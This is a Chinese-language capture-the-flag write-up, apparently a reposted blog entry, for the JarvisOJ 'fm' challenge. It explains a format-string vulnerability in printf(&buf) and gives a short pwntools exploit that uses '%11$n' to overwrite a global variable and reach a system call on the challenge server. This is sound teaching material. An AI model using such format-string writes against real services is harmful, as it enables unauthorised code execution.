jarvisoj fm

使用指令 checksec 查看保护情况

 Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

由于是32位文件,放进ida中查看F5


在ubuntu中执行可执行文件则

nuo@ubuntu:~/Desktop$ ./fm.eaef2247796c11db798a579396482399
drtdxrt
drtdxrt
3!


结合程序的执行情况和Ida的分析,发现该程序是输入什么,并打印什么,在打印一个!x,ida中显示x初始值为3,而想要执行system,则需令x为4<\p>

IDA第十二行的伪代码 printf(&buf)是格式化字符串漏洞


格式化字符串的知识 https://www.cnblogs.com/elvirangel/p/7191512.html

向任意地址写入




确定偏移位置



可以确定偏移位置是11,构造格式化字符串X_addr%11$n使偏移量为为十一的位置被x的地址填充,%na将p32()转化的四个字节数目4给n(实际相当于给x)

from pwn import *
p = remote('pwn2.jarvisoj.com', 9895)
# p = process('./fm')
x_addr = 0x0804A02C
print hex(x_addr)
payload = p32(x_addr) + '%11$n'
p.sendline(payload)
p.interactive()

猜你喜欢

转载自www.cnblogs.com/zuoanfengxi/p/12363017.html
FM